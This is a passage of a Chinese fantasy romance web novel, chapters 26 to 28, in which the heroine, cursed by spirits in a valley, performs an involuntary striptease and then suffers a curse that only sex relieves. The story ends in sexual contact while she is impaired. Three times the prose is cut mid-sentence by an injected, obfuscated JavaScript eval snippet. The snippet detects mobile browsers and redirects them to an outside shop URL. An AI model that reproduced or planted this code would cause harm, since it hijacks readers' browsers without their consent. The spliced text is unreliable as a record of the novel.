然而她这一秒说得潇洒,下一秒就如遭雷劈,因为她发现自己跳着跳着就忍不住上手开始脱衣服,不是脱十一的衣服,而是她自己的衣服,这他娘的竟然还是脱衣舞! 茯凌手指勾住自己的外裳就一边扭腰舞动一边要把衣裳褪去,十一察觉到她的意图,连忙按住她手,瞳孔中闪过一丝无措:“你……” 茯凌红着一张脸咬牙恨道:“这不是个正经妖怪!哪家好人至死都不忘跳这种艳舞的!” 嘴上说的凶,身体却妖娆得很,很快就避开十一按住她的手,开始继续尝试如何撩人地一件件脱去自己的衣裳,这次十一没再制止她,而是从自己衣裳下摆撕下一条碎布,茯凌吼道:“你不管我了嘛?真不管我了嘛?我裙子!我裙子要被扯掉了!” 十一背过身去,声音里有丝难以察觉的颤动:“别违背她,否则你无法恢复正常。” 茯凌很快明白过来他的意思,就是说她这一身衣裳今天必须在他面前脱光光,她内心崩溃:“我去!打晕我也不行吗?” “不行。”十一背对着她坐下,将银蓝色的碎布蒙住自己眼睛,在脑后系了个结,“那样你醒来,还会继续跳。” 茯凌又转着圈圈舞去了他面前,他本就漂亮,面如冷玉,此刻被蒙住双眼的模样更是无故生出几分禁欲旖旎,让人忍不住想要狠狠亵渎,茯凌体内来自祟气谷女妖的邪恶心思被完全激发出来,她愈发风情万种地在他面前婀娜起舞,妖娆地将身上衣裳一件件褪尽,先是外裳,接着是里衣,最后只剩下一件贴身的粉色肚兜,虽然知道十一现在看不见她的样子,但茯凌的脸还是止不住发热滚烫,她半遮半露地在十一身边扭动腰肢,最后妖女一样坐去十一腿上,他虽对此纹丝未动,颇为坐怀不乱的圣人遗风,可不知为何,茯凌感觉他的身体似乎有些僵硬。 不过茯凌也管不了那么多,心想自己跳到这个程度,这舞差不多也该跳完了。可她渐渐发现自己好像并没有要停下来的意思,反而凑近十一往他脸上轻轻吹气,风流地要将自己的气息与他的缠绕在一起,十一白皙的脸颊似乎染上一微红晕,他将脸偏去一边,躲开了她的撩拨,他的呼吸微微凌乱,声音也别扭得不行:“还没跳完?” “我也不知道要跳到什么时候。”茯凌这下算是丢尽了老脸,不过不打紧,十一是人族,没有修为,等她跳完舞,画张消忆符把他这段记忆抹掉就是。 心里正打着算盘,院外突然传来喊声:“有人吗?有人在家吗?” 声音听着年少,清亮而跳脱。 茯凌心一跳,忙低声对十一道:“别理他,我可不想让别人看到我这个样子。” 十一轻轻“嗯”了声。 院外的少年却接着喊道:“我好像听到里面有人说话了!不介意的话,我进来了!” 茯凌气道:“哪冒出来的夯货?” 院外少年又道:“进来了哦!” 接着就是院门被推开的声音。 茯凌急得眉毛一拧,却又不敢说话,生怕把少年引来。 十一没办法,听到脚步声越来越近,他只好抬手在茯凌后颈重重劈下一掌,茯凌这才停止舞动晕倒在他怀里。 他扯开蒙在眼睛上的布,落入眼帘的是少女雪白细嫩的肌肤,她全身上下只剩一件粉色肚兜堪堪遮住锁骨之下的旖旎风光,其余竟……十一赶紧移开视线,犹豫一瞬后,他将她拦腰抱起,胳膊触到她纤细光洁的后背,另一条胳膊绕过她膝弯,她几乎毫无保留地呈现在他怀中,他感觉喉咙有些紧,不小心划过她肌肤的手掌也在发烫。 他不敢看她,视线始终落在他处,将茯凌抱去榻上,又拉过旁边的被褥将她遮掩好,十一这才看了她一眼,他指尖轻轻触过她脸颊,为她理好凌乱的额发,接着便走出屋子。 等他走到堂屋,正好与不请自来的少年迎面撞上。 那少年一副异域打扮,金色的长发被华贵的发饰精致地装扮着,琥珀色的眼瞳之上,是金色华丽带着女气的额饰,中间精美的金玉坠子遮住他额间银白色的妖纹,院外清风吹入,扬起少年长长的金色耳链,发出轻灵的叮叮之声,他在金饰摇动的清灵声中笑了起来:“竟然是你,真是意外之喜。” 十一看着他,嫌他来的不是时候,眸中有丝不悦:“你来干什么?” 异域少年忽略了他眼中的不善,仍噙着笑,道:“听说四方镇来了个厉害人物,和她的小男宠一起住在镇外的这处竹坞,我便有心来会会,原本还想请那神族姑娘去镇上小住几年。” 十一冷笑了声:“你那破道场,我们住不惯。” “我们?”异域少年细细咀嚼着这两个字,而后他莞尔一笑,看向十一道:“现在知道了她是你的人,我自是不敢再打她的主意。” 十一赶客道:“那你还不走?” 异域少年脚步不动:“啀,急什么?十几年没见,这还是头一次见到你的人族相,不多看两眼怎么够?” 十一嫌他聒噪:“不都一样?还不快走。” 异域少年轻轻一笑,眼尾妖异:“哪里一样?发色瞳色都不同。”他歪着脑袋“咦”了一声,“不过,你这么着急赶我走,难不成是我打搅了你跟神族小姑娘的好事?” 十一目光冷下来:“博涂雅。” 博涂雅笑着举起手:“好了好了,是我说错话,别生气嘛。” 他琥珀色的眼瞳闪过一丝意外,面上仍笑意不动:“还以为这些年你干什么大事去了,原来只是躲这儿玩过家家。看来不管是在皇宫享荣华富贵、喝琼浆玉液,还是在八十一狱设计那些奇怪的机关宝塔,都不如在这儿给神族小姑娘当男宠来得刺激过瘾。” 十一眼含愠色:“你该不会是觉得我现在收拾不了你,以后也不会找你算帐吧?你这么喜欢到处逛,不如给你造个镇妖塔,省的你再去别人家不请自入。” 博涂雅还真是吃准了他现在是凡人相,奈何不了他。但想到他迟早要回归神族相和妖族相,便收敛了几分,笑道:“别误会嘛,我可没半分揶揄你的意思,纯粹觉得好奇,那神族小姑娘到底有什么特别之处?值得你给她当这么多年男宠?” 十一冷着脸发出最后通牒,“你再在这儿胡言乱语,这笔帐我就要记上了。” “好好好,我不说了,我走就是,你记什么仇呀。”博涂雅看了眼那道紧闭着的里屋竹门,接着又看向十一道,“我走,现在就走。”说完,他转身离开竹坞,十一看着他渐渐远去直至消失的背影,脸上的不虞之色这才慢慢消融。 他回屋后不久,茯凌就缓缓苏醒过来,她躺在被褥下面看着守在她旁边的十一,惊道:“你用来蒙眼睛的布呢?” 这句话没说完,她已经掀开被褥,起身下榻就要继续跳舞,看着全身上下只剩一条粉肚兜的自己,茯凌羞愤得几乎想要再晕过去一次,十一没敢看她,捡起先前被他扔在一边的银蓝布条,重新把眼睛遮了起来,茯凌气道:“你现在遮有什么用?该看的不该看的,你全都看过了!” 十一蠕动了下唇角,却不知该说什么,他确实看了个遍,手指不动声色就蜷紧了几分。 茯凌这回舞着舞着就开始解最后一件肚兜,她贴去十一身上轻扭慢舞,又气又急道:“罢了罢了,你看过便看过,等会儿跳完了我就画符,把你这段记忆抹干净,省的丢人!” 十一没说话,此刻最大的自持就是不去主动闻她身上散发出来的淡淡体香,她像诱人的云彩,在他身边萦来绕去,迫得他连呼吸都带上温热。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13769526|131701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 茯凌不知十一此刻的难捱,她只关心今天这事可千万不能传扬出去。真是离了大谱,她第一次跳舞勾引人,竟然是对着十一而非相楚澜,恐怕连系统都要大无语。最后茯凌总算舞尽兴,她松了一口气,穿好衣服后对十一道:“你可以睁眼了。” 十一解开蒙在眼睛上的银蓝布条,看到茯凌以指为笔在空中画出一道金光闪闪的符咒。 茯凌从前一直觉得消忆符没什么用,因为它只能用来消除人族、或修为极低极低的神族妖族的记忆,没想到今天倒是派上了大用场。她拿着消忆符往十一身上一扔,金光乍起,将十一笼罩在一层薄薄的光雾之中,随着茯凌意念起,金色光晕慢慢消失,在她的指令下带走了十一关于今天这场艳舞的记忆。 大功告成后,她拍了下十一的胳膊,装作无事道:“行了,别傻站着,快去生火煮饭,我休息休息。”这舞跳得她哪儿哪儿都不舒服,尤其是胳膊和腰,酸得像被人拆过重组一样。 十一发现自己站在茯凌卧房,手里还拿着根碎布条,看样子是从他衣服上撕下来的,很快就意识到自己前后的记忆对不上,问茯凌道:“刚才发生了什么?你为何要消除我记忆?” 茯凌意外于他竟然这么快就发现自己有一段记忆被她消除的事,但所幸他看起来确实不记得她在他面前跳过艳舞,于是放下心来,道:“你有一段不好的回忆,需要被消除,我也是为你好,怕你有什么心理阴影。去,做饭去,别胡思乱想,对身体不好。” 十一看着她,发现她表情似乎有些不自然,脸颊透着微微的粉。 他想起博涂雅来过,他跟他在堂屋说了一会儿话,但博涂雅来之前、走之后,他做了什么,和茯凌发生了什么,却全都想不起来。 静默片刻,他问道:“你说砍中了行尸走肉,症状发过了么?” 茯凌脸色一变:“什么症状?你管那么多干什么?还不快去做饭!” 她连忙把十一推出去:“多炒两个菜,我有的是钱!” 十一被她推出门外,又见她砰一声关上竹门,迷茫地看了眼手里的银蓝布条,难道他刚才对她做过什么?可他现在只是凡人之躯,又能对她做得了什么?十一在原地站了会儿,接着不再纠结此事,毕竟等他恢复真身就能想起来,于是便转身去厨房洗米煮饭。 茯凌很快就调节过来,既然跳艳舞这件事现在只剩她一个人知道,那就等同于这件事从来没有发生过,她心态极好地吃了两碗米饭,喝了十一煎的药,又取了他两滴心头血,再围着竹坞跑了两圈,接着就神清气爽地沐浴洗漱,结束一天的折腾。 次日清晨,茯凌照常去祟气谷砍祟气妖灵,有了昨天的教训,她今日分外小心,心想别又砍中哪个不正经的行尸走肉,害她持续丢大脸。 在茯凌的万分警惕下,接下来几天的砍妖灵任务都进行得非常顺利,眼看距离两千两百日只剩最后一天,这晚,茯凌从外面跑完圈回来,找了块买衣裳送的淡紫色绣花帕子,把自己在京都新买的院子地址写下来,然后她就拿着这块写了她京都住址的手帕敲响了十一的房门。 “门没锁。”十一柔和清润的声音隔着竹门传来。 茯凌推门进去,见十一屋里点着一盏烛灯,此刻他正坐在烛灯下拿一本破旧的古籍在翻看,她走过去,把绣花帕子放去他手边:“这个给你。” 十一拿起帕子,修长的手指在锦绣的衬托下如玉般温润明净:“这是?” 茯凌道:“是我在京都的住址,一座市中心的雅院,附近有很多食坊酒肆,地理位置很好。” 十一抬头看她,不明所以道:“我的意思是,给我这个干什么?” 茯凌见他侧脸被烛光映照着,一半在明一半在暗,衬得他神情清冷又柔和,不禁涌上一丝分离的愁绪,道:“明天去完祟气谷,我就要去八十一狱拿永夜银河了,如果我到第二天都没能回来,你就拿着这块帕子自己去京都,我那院子就送你了,你以后就拿着我的财产一个人好好过吧。” 十一若有似无地笑了下,将帕子收好:“嗯。” “嗯?你竟然嗯?”茯凌心中的愁绪瞬间转化为不爽,“我都死了,你还有脸拿我的财产、住我的院子?你还是人么?你良心被狗吃了?” 十一无奈地放下手里的书,往后靠在椅背上,好整以暇地看她:“那你想听什么?” 茯凌更气了:“什么叫我想听什么?我人都死了,你是不是得给我收个尸?该不该找个风水宝地把我好好葬了?逢年过节是不是要给我上炷香添个贡?你倒好,就一个‘嗯’,‘嗯’完就拿着我的财产自己逍遥快活去了,你的良心不会痛嘛?” 十一压住笑意,柔声道:“我不是说过?你死不了。” 27. 第27章 祭祀舞 “你说死不了就死不了?八十一狱是你家开的啊?修罗塔是你给造的?塔里的银纹妖兽是你养的?”虽然茯凌也认为自己没那么容易死,但这并不妨碍她对着十一就是一顿火力输出。 主要是觉得她跟他一起生活了六年,他是她来到这个世界后唯一还算亲近的人,现在她就要奔赴“战场”,不管前途是生是死,他都该为她担心、为她捏把汗、为她惴惴不安才是,哪有一句“你死不了”就理所当然毫不展露关心的道理?他!不是家人! 茯凌瞪着十一:“我现在已经开始怀疑,你是不是盼着我死,好继承我的万贯家财。” 十一无奈地笑了笑:“你要是担心,我可以陪你一起去修罗塔拿永夜银河。” 茯凌哼道:“你别以为我舍不得。” 十一闻言微愣,他略地垂眸,目光略稍迷茫地轻声念了念“舍不得”三个字。 茯凌看他似乎有些走神,不知在想什么,不禁怀疑自己是不是吓着了他,于是收敛几分脾气,道:“你一个区区人族,我带你去修罗塔,岂不是给自己添一个累赘?”毕竟不是真的想拉他上坟场,茯凌拿出相楚澜给她的金色铃铛,递给十一道:“拿着。” 十一瞥了眼那颗装着红莲业火的镂空铃铛,没接:“他又给了你一颗?” 茯凌道:“昂。” 十一冷笑道:“净给你些不值钱的。” 茯凌瞧见十一右手手背上的那道疤,以为他是被红莲业火烧出了心理魔障,所以才没接金色铃铛,便把铃铛放在了他看的那本书的旁边,道:“我去八十一狱后,若是一直没回来,八成是交代在那儿了,虽然这种可能性很低,但也不能说完全没有。到时候你就使劲摇这个铃铛,相楚澜就会来这儿,你跟他说你是我认的弟弟,让他带你回京都,再让他把我那串钥匙交给你,我的房契地契黄金白银都锁在一个红棕色的大箱子里,你拿点出来开个酒楼,做些自己擅长的事。” 十一慢条斯理地笃声道:“我不当你弟弟。” 茯凌抬起手指在竹桌上敲了两下:“怎么的,你还想当我大爷?” 十一没说话,静默片刻后,他建议道:“既然你用不上这个铃铛,不如扔了。” 茯凌道:“我是用不上,但你用得上。你别怕,只要不把铃铛打开,里面的红莲业火就烧不到你。” 十一看也没看桌上的铃铛,道:“我也用不上,还是扔了吧。” 茯凌当然不可能把金色铃铛就这么扔掉,道:“那我放你这儿,你给我保管几天,要是我一直没回来,你就拿铃铛摇相楚澜。” 十一眸色冷淡:“拿走,我不要。” 茯凌气性上来,道:“我偏要放你这儿!”说完她就转身要走,一边往外走一边嘟囔“还给我拽上了”,最后走到门边,她回头警告道:“你要敢扔了,我就把你丢去祟气谷喂妖灵!” 茯凌走后,十一嫌弃地看了眼桌上的金色铃铛,嘴角含上一丝轻视冷笑,纤长的指将铃铛从他的古籍边拨远了些。 翌日,茯凌最后一次去祟气谷砍祟气妖灵,上午一波下午一波,总算砍满四十九只,她收回利剑符就要出谷,心想今晚就去修罗塔探探情况,十年任务期,她已经耗费了六年多时间,剩下不到三年里,她要重塑神脉,要加入大玄殿,还要打进尧光十二弦,时间宝贵,耽误不得。 眼看就要出谷,突然一个红纹男妖行尸走肉朝她撞过来,茯凌连忙侧身躲开,没想到身后也撞来一具行尸走肉,是个神族少女,茯凌躲闪不及,就这么撞了上去,本来撞一下也没什么,可没想到神族少女行尸走肉不堪一击,竟硬生生被她给撞碎了,只见神族少女碎成一堆妖灵四散开来,茯凌瞬间头皮发麻。 第一次是嚎哭,第二次是艳舞,这第三次又会是什么? 真是要大命! 看来今晚是别想去修罗塔了! 茯凌狠狠瞪了眼游荡在山谷里的祟气妖灵和行尸走肉,这鬼地方她是一刻也不想多待,提脚欲走时,蓦地脑中思绪一晃,竟有一段零碎的记忆突然在她脑海里浮现,她看到晚霞与孤鹜,看到高山之巅,有个异域打扮的金发少年正在起舞,少年精致的眉眼在金色的额饰下闪着琥珀色的光芒,诡异的舞步像是在完成一场祭祀,她听到一阵轻盈的叮叮之色,是傍晚的风吹起了少年长长的金色耳链…… 意识到自己的思绪正在飘散,茯凌猛地一回神,而就在她刚才因为脑海中突然出现的金发少年祭祀舞而走神时,无数祟气妖灵已经瞅准机会,从四面八方向她攻来,仿佛要一举吃空她的灵魂,将她变成它们寄生的容器。霎时间,茯凌后背已经起了一层冷汗,她赶紧画出一道隐秘之境闪身进去,暂时躲过了祟气妖灵的攻击。 现在该怎么办?是在隐秘之境里躲一阵,等外面的祟气妖灵散了后再出去?还是先出去把那些祟气妖灵砍了再说?但她今日已经砍足四十九只,如果砍多了,会不会导致她无法激活神脉根基? 还有,刚才脑海中的祭祀舞到底是怎么回事?难道是被她撞碎的神族少女的生前回忆?看到祭祀舞就是她这次的“症状”? 正想着,异域少年祭祀舞又开始在她脑海中闪现,她看到少年金色的长发在高山之巅随风扬起,他的舞步鬼气森森,却又那样迷人…… 随着茯凌下意识的走神,隐秘之境瞬间失效,她下一秒就再次落入祟气妖灵的围攻圈中,然而这次她神志还未完全聚拢,再也来不及画出任何符咒,就在那些泛着绿光的祟气妖灵即将侵入她身体的时候,她忽而看到一道金光从她体内迸出漫开,竟将那些祟气妖灵弹出老远,茯凌没时间思考这道突如其来的护体金光究竟是个什么东西,为何会从她体内迸发出来,因为她发现不断在她脑海中闪现的祭祀舞会令她迷失神志,她得在意识还算清醒时,赶紧离开祟气谷。 茯凌一路狂奔,每当脑海中出现祭祀舞,她都狠狠掐自己一下,以防自己半路神志不清陷入迷失状态。难怪极少有神族、妖族会来祟气谷砍妖灵升级,这也太古怪了,稍有不慎,或者运气不好,都可能沦为祟气妖灵的寄生容器。 还好茯凌在意识彻底模糊前成功跑回家中,十一正在院子里浇花,见她神色虚弱又慌张地推开院门,十一赶紧过去扶住她胳膊:“又砍中了?” 茯凌欲哭无泪道:“这次是一个金发琥珀眼的少年在高山上跳舞,异域打扮,戴长长的金色耳链,我老看到这些画面,一细看就觉得头晕目眩,但又忍不住去看。你知道这是什么嘛?” “博涂雅,祭祀舞。”十一声音还算冷静,“回屋躺着,把祭祀舞看完就不会再有画面。” 茯凌轻声念道:“博涂雅,这个名字好熟悉,好像在哪儿听过。”但她现在没心思想这个,边在十一的搀扶下回屋,边问道:“看完就没事了吗?可我觉得这个祭祀舞好像会让我意识不清醒。” 十一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13844497|131701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“会让你陷入短暂的昏迷,醒来后可能会……” 茯凌推开卧房竹门:“可能会什么?” 十一敛了下眉,沉声道:“博涂雅的祭祀舞分不同类型,有的会篡改观舞者的记忆,有的会夺取修为,还有的——” “什么?!”没等十一说完,茯凌就怒吼道,“会夺取我的修为?!多么恶毒的人!多么恶毒的舞!不行不行!我不能睡,我绝对不能睡!” 十一柔声安慰道:“你看到的不一定是褫夺修为的那种,况且以你现在的修为,单凭他人记忆里的一段祭祀舞,应该只会被夺取一小部分。” 茯凌感觉五雷轰顶,苍蝇再小也是肉,一小部分修为也是她辛辛苦苦一天不落地攒下来的,这该死的祟气谷,该死的行尸走肉,该死的祭祀舞! 可气归气,怒归怒,有了前两次的经验,茯凌也知道自己这波躲不过去,气完怒完还是得继续朝前看,她只好乖乖躺去榻上,放松警惕前咬牙骂了博涂雅一句:“贱人!” 看到茯凌骂完人后就慢慢耷拉下眼皮,十一知道她已经放松下来,意识也开始被祭祀舞入侵,他不放心地守在她旁边,其实并不担心她看到的是能褫夺他人修为的祭祀舞,修为这种东西,掉了一部分还可以重新修炼回来,可如果博涂雅跳的祭祀舞是春娘吟,那才是真正的麻烦。 也不知过了多久,茯凌终于醒来,这时脑海里已经不再闪现祭祀舞的画面,可四肢百骸却软弱无力,身体也忽冷忽热地难受,她感到一阵阵的锥心焚肉之痛,还觉得有千百只蚂蚁在轻轻嗜咬她的血肉筋脉,茯凌气息紊乱地喊十一:“十一,我不舒服,好难受,好热,冷……” 十一见茯凌脸颊透粉蹙眉轻喘,立即明白过来自己最担心的事情还是发生了,她看到的祭祀舞真的是春娘吟,一种只有在异性身下承欢才能解除锥心之痛的诅咒之舞,是博涂雅所有祭祀舞中最恶毒的一种,是专门用来对付他眼里那些自命清高脱尘、一心向法向道的神族的,没想到今天竟应在了茯凌身上。 十一克制地没去看茯凌此刻的娇态,他担心她会在得知真相后去摇相楚澜给的金色铃铛,可又不能任由她在他面前承受生不如死的磨人滋味,犹豫时,她已经赤脚下榻,像那日跳舞一般缠来他身边,她难耐地搂着他腰身,声音似迷惑似清醒:“十一,十一……” 她的触碰令他身体轻轻一怔,十一艰难地避开她身上散发出来的撩人气息,眉尖蹙起将她胳膊反剪至后腰,低头却对上她一双水汪汪雾蒙蒙的杏眼,她轻蹙着眉就踮起脚尖要来吻他,馨甜的香气扑来,他理智有一瞬的崩弦,但他还是略扬起下巴,避开了她的索吻,语气克制道:“你看到的祭祀舞是春娘吟,需要与男人交欢才能消除锥心焚肉之痛。你……想清楚了再决定。” “把铃铛给我……放在你那儿的金色铃铛……”过了一会儿,他听到她这么说。 十一垂眸,看到茯凌柔若无骨地靠在他怀里,需要他扶着才能堪堪站立,她咬着唇,似在努力压制什么,白净无暇的脸晕开潮红。 “铃铛……快把铃铛给我……” 十一脸上血色褪尽,沉默了一会儿,他将人抱起来,放她去榻上躺好,她温热的唇肉不小心摩挲过他耳廓,撩起他心里一阵浅浅悸动,他看着纤弱的她,眉眼似水墨洇开般温柔迷漓:“我,不行么?” 不是相楚澜。 换成他。 可以么? 28. 第28章 春娘吟 茯凌胡乱地摇了摇头,断断续续道:“去拿铃铛,快去…” 她现在已经没多少理智可言,贱人博涂雅,她跟他不共戴天! 似乎只过了一瞬,又似乎过了很久,十一将金色铃铛递给她,茯凌无力地伸手夺过,她无法思考自己此刻在十一眼里会是怎样的丑态,只觉得自己点儿背,竟撞碎了看过这种祭祀舞的神族少女。 紧紧捏着手里的金色铃铛,茯凌皱眉对站在榻边的十一道:“你…锁好门,晚上别出来。” 然后她看见十一眉眼愈发清冷,她咬住唇,红着脸不敢再看他:“出去。” 这辈子的脸全丢在十一这儿了,在他面前跳艳舞,在他面前准备摇男人过来陪她睡觉。 贱人博涂雅,她跟他势不两立! 茯凌瞥见那抹银蓝色的衣摆,她怕自己再在他面前发出不雅的轻呻,加重语气道:“滚出去!” 屋内安静了好一会儿,那抹清隽的银蓝从她视线中离开,她听到开门关门的声音,很轻,不沾一丝情绪,很缓,又像凝着千愁万绪。 不过她没心思管这些,确定十一离开后,茯凌用力摇动起手中的金色铃铛。 夜幕降临,昏暗的屋子里只有稀薄的月光,忽而她余光见到一抹玄色,再去瞧,榻前已闪现出少年身影,他穿着黑衣衬红袍,鲜红外裳上,是铜黄金线绣成的祥云繁花,红的艳,黑的沉,交织辉映,茯凌知道是他,轻声唤道:“相楚澜。” 相楚澜听见黑暗中的一道娇滴滴女声,眼睛适应了一下黑暗才隐约看到茯凌媚态横生地躺在榻上朝他看来,他猝不及防撞上她无措又羞赧的眼神,水淋淋,娇到不像话,一瞬间有丝异样的感觉直直撞进他胸口,他猛地偏过头去,手指也攥紧了:“林起月!你干什么?!” 惊疑羞怒之余,他听到她声音断断续续,气息也十分稀弱,很快意识到事情不对劲,情急之下快步走到榻边,见她伸手要来够他,他抓住她手,两指搭上她手腕,果然见她脉象紊乱古怪,他肃起神色:“你中了媚药?” 茯凌艰难地挤出一道飘散的声音:“算是吧…是祭祀舞,春娘吟。” 相楚澜闻言震动,漆黑墨瞳闪烁着一丝担忧和无措:“你见过博涂雅?” 茯凌已经难受得凝出眼泪:“你快帮帮我。” 相楚澜看着茯凌白皙染红的脸颊,原以为她是遇到了什么险情,才会在六年后第一次摇动铃铛,他催动与红莲业火之间的感应,一刻也没耽误地赶来施救,没成想却遇到眼前这个旖旎又棘手的情况,他无法破除博涂雅的祭祀舞,这种恶毒又龌龊的诅咒,可又不能就这么…… 相楚澜扯过被褥将茯凌遮严,一向妄纵的漆眸染上淡淡的腼腆与不自然:“你,你忍一忍。” 茯凌咬唇,声音娇媚:“…忍你大爷…” 相楚澜轻怔,怀疑自己听错:“你说什么?” 茯凌强忍着锥心蚀骨的痛,用软软绵绵的语气道出狂语:“…行就行,不行滚…” 她胳膊无力地垂落下来,纤细指尖从他掌心若有似无地划过,相楚澜掌心瞬起一阵战栗,长指也过电般微微一蜷,他看着她,虽隔了段距离,她的气息却似乎就萦绕在他面前,细腻的,柔软的,香甜的,这种陌生的感觉令他无所适从,他甚至忘了要跟她争辩,无措道:“我该怎么帮你?” 要不是被春娘吟控制着,茯凌的白眼早就要翻上天了,心想你装纯情给谁看呢?有气无力道:“…这还用我教?自己没学过…?” 相楚澜任是再率性不拘,却也从未遇过此情此景,轻纵的神色里染上一抹红晕:“为何找我?你明明……” 明明对他无意,为何找他? 他真看不懂她,她到底是个怎样的人?对他虚情假意也就罢了,偏偏又在这种时候找他…要他那样她… 相楚澜从小接受的礼乐文明受到冲击,一百多年养成的教养令他绝对无法不清不楚地和她行夫妻之事,可他又不能放任她这样不管… 茯凌见相楚澜磨磨唧唧,气得嗓子几乎烧起来,早知道还不如找十一,她眼里水汽濛濛地瞪着相楚澜:“…不行你就换沐纶来…我实在受不了了…” 听到她要换成沐纶,相楚澜心里突然横生出一股说不清道不明的火气,没来由地冲她讥讽道:“你少祸害沐纶!” 茯凌这是浑身没力气,不然绝对一脚踹死他,他自己不让她祸害,还不准她祸害别人,真是人生在世,相逢也是一场报应,他怎么就报应在她身上了? 相楚澜见她竟连反唇相讥的力气都没有,柔若无骨可怜兮兮地躺在那儿,眼神里对他的渴望看得他心惊,他知道自己应该立刻离开这儿,可不知为何,他始终没有动,只静静坐在榻边看她,他感觉自己似乎有些不对劲。 茯凌脸上的温度越来越烫:“…相楚澜,你个不要脸的贱人…看我出丑很开心么?” 她轻喘着骂他。 相楚澜也不知道自己在发什么神经,竟下意识回了句:“准你偷窥我沐浴,不准我看你——”说到这儿及时止住,意识到自己失言,他懊恼地红了脸,沉声道:“我试试看封住你全身的筋脉穴道,不一定有用。” 早干嘛去了现在才说??? 茯凌怒道:“…别磨蹭,赶紧封!” 相楚澜听她用最娇滴滴的语气说出毫不客气的话,极致的反差令他心神不宁,他强迫自己静下心来,两指竖于身前,开始努力催动体内玄术,起初十分不顺,她的气息咫尺可闻,淡淡的甜香令他始终无法集中心神,玄术运行几次都觉紊乱,最后不得已默念了一段清心咒才将体内玄术运行顺畅,他封住茯凌全身筋脉穴道,让她无法动弹,也无法发出声音。 再去看她时,发现她以一个过于妩媚的姿势一动不动地躺在那儿,全身只有眼睛可以转动,她用那双可爱娇憨又透出一股薄怒的杏眼瞪着他,令他心头一荡……猛地意识到自己正在走神,相楚澜既惊讶又羞愤,他扯过被她踢去一旁的被褥,重新将她遮得严丝合缝:“你就这么躺一晚吧!” 茯凌见相楚澜弯腰给她盖被子,隐约瞥见他系在颈间的一缕红线,明艳的红,隐在深黑的里衣下,仿佛一道不容他人窥视的禁忌,她想问他那根红线是什么,看起来不像是纯粹的装饰,可奈何嗓子里什么声音都发不出。 他坐在她身边守了她一会儿,后来也不知怎么了,似乎待在她身边令他很不自在很不舒坦,茯凌看到相楚澜站了起来,他最后看了她一眼,好像在确定她身上的春娘吟已经被控制住,接着他旋身化为一抹玄色,眨眼间就在茯凌眼前消失不见。 茯凌想骂街,他竟然就这么走了!起码别封住她的声音,让她可以说话啊!不然她怎么告诉他“你控制住个锤子!”,他只是让她不能动不能言,可她体内锥心蚀骨的痛、万蚁啃噬的麻根本还在!相楚澜这个贱人,这是要她硬扛过去!好啊,哪天等她有能力活捉博涂雅了,一定要他在相楚澜面前舞一段春娘吟,然后再让相楚澜硬扛过去,让他也尝尝她现在生不如死的滋味! 茯凌在心里骂得很脏且骂了很久,然后突然不知从哪儿蹿出一股气流,不偏不倚正好打中她肩膀,竟瞬间解开了相楚澜对她筋脉的封锁,茯凌重新获得了说话和活动的能力,可她一开嗓就溢出一声娇音,一能动就难耐地从榻上挣扎着爬了起来,在春娘吟的折磨下,她已经没有理智可言,破罐破摔地用尽全身力气摸去十一那儿,咬着唇推开了那道竹门。 屋内黑暗,只有浅薄月色从窗外渗进一丝月辉,茯凌摸黑爬到榻上,见榻上躺着的少年似乎惊讶地想要起身,可在他掀开被褥之前,她已经先一步钻了进去,整个人贴进他怀里,瞬间舒慰不少,她抱着他,像干涸的植物遇见水源,难捱地细声道:“…他不肯,你来…” 半晌,她听到少年的声音从她头顶沉沉传来:“嗯。” 这下换茯凌愣怔住,原以为他多少要扭捏一下,没想到竟答应得这么爽快,仿佛等很久了一样。 不过茯凌也管不了那么许多,春娘吟实在太折磨人,她感觉自己正在被一点点揉碎掰开,再也忍受不了这样细致的苦楚,她颤抖着吻上十一的喉咙,他也仰起脖子方便她吻,纤细如玉的长指往下,隔着薄裳,温柔克制地替她减轻痛苦,茯凌慢慢感觉自己活过来一些。晕晕乎乎中,他渐渐占据主动,双手有力地抱稳她,薄唇覆压上来。 茯凌微微张开嘴,含住了他伸进来的舌头,异样的情愫缠裹在她心间,她感觉难以呼吸。 他尝过她的柔软,舌抵在她齿间,然后她听到他用低沉的微微有些暗哑的声音问她:“现在还觉得我是弟弟么?” 她不知如何作答,呼吸越来越乱,春娘吟吞噬了她的所有理智与思绪,她只能紧紧攀拥着他,在他的主导下彻底让自己放纵下去…… 过了很久很久,茯凌总算在十一怀里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13930421|131701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 